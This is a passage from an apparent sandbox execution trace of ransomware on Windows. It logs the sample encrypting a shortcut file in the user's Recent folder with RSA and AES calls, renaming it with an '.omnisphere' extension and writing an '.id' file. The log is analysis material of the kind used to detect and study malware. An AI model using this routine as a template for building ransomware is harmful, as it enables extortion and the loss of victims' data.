(hObject=0x28c) returned 1 [0118.782] GetProcessHeap () returned 0x1600000 [0118.782] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.782] GetProcessHeap () returned 0x1600000 [0118.782] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e728 | out: hHeap=0x1600000) returned 1 [0118.783] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f85b615, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f85b615, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f85effe, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4b2, dwReserved0=0x0, dwReserved1=0xd3, cFileName="1fJbXUeqaQ0.lnk", cAlternateFileName="1FJBXU~1.LNK")) returned 1 [0118.783] GetProcessHeap () returned 0x1600000 [0118.783] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656190 [0118.783] PathCombineW (in: pszDest=0x1656190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="1fJbXUeqaQ0.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk" [0118.783] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1fjbxueqaq0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.783] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1202) returned 1 [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.783] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] GetTickCount () returned 0x115dafb [0118.784] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668bd0) returned 1 [0118.785] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396e8) returned 1 [0118.785] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.785] CryptDestroyKey (hKey=0x16396e8) returned 1 [0118.785] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.785] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b2, lpName=0x0) returned 0x288 [0118.785] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b2) returned 0x1480000 [0118.785] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0118.786] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.786] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.786] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.787] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.788] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.789] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.789] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.789] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4b2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.789] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.789] GetProcessHeap () returned 0x1600000 [0118.789] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16ac280 [0118.789] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1fjbxueqaq0.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1fjbxueqaq0.lnk.omnisphere")) returned 1 [0118.790] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk.omnisphere.id" [0118.790] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1fJbXUeqaQ0.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1fjbxueqaq0.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.790] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.791] CloseHandle (hObject=0x3c0) returned 1 [0118.792] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 